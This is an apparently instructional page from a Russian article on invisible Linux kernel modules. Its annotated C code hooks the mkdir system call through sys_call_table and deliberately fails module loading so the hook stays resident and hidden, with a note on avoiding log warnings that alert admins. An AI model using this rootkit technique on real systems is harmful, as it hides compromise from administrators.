Призраки ядра или модули-невидимки




Рисунок 4 механизм реализации системных вызовов в LINUX - часть 2


// разместить фиктивную функцию за концом настоящей и...

// вычислить разницу указателей. то есть, условно говоря

// size of(thunk_mkdir) = thunk_end - thunk_mkdir.

// внимание! это работает не на всех платформах!!!

thunk_end()

{

       return

0x666; // thunk_end никогда не вызывается

}

// объявляем внешнюю переменную, указывающую на таблицу

// системных вызов sys_call_table

extern void *sys_call_table[];

// объявляем функцию,в которую будет записан указатель

// на оригинальный системный вызов old_mkdir (в данном

// случае он _никак_ не используется)

int (*old_mkdir)();

// объявляем функцию,в которую будет записан указатель

// на резидентный код thunk_mkdir, остающийся в памяти

// даже после выгрузки модуля

int (*new_mkdir)();

// EntryPoint: стартовая функция модуля, ответственная

// за его инициализацию и возвращающая 0 (при успешной

// инициализации) и -1 (если в ходе инициализации были

// зафиксированы неустранимые ошибки), и в этом случае

// модуль не загружается.

int init_module(void)

{

       // выделяем одну страницу ядерной памяти

       new_mkdir = (void*) __get_free_page(GFP_KERNEL);

      

       // проверяем успешность выделения памяти

       if (!new_mkdir) return -1 | printk("mem error!\n");

      

       // определяем адрес оригинального вызова SYS_mkdir

       // (в данной версии модуля никак не используется!)

       old_mkdir=sys_call_table[SYS_mkdir];

      

       // копируем резидентный код нового SYS_mkdir в блок

       // памяти, выделенный вызовом __get_free_page

       memcpy(new_mkdir,thunk_mkdir,thunk_end-thunk_mkdir);

      

       // модифицируем таблицу системных вызовов, заменяя

       // старый вызов mkdir на  новую процедуру-заглушку

       sys_call_table[SYS_mkdir]=new_mkdir;

      

       // выводим отладочное сообщение, что все ОК

       printk("SYS_mkdir is now hooked!\n");

      

       // возвращаем ошибку, предотвращая загрузку модуля

       // (но оставляя резидентный код в памяти)

       return -1;

}

// пристыковываем лицензию, по которой распространяется

// данный файл, если этого не сделать, модуль успешно

// загрузится, но операционная система выдаст warring,

// сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE("GPL");




Содержание  Назад  Вперед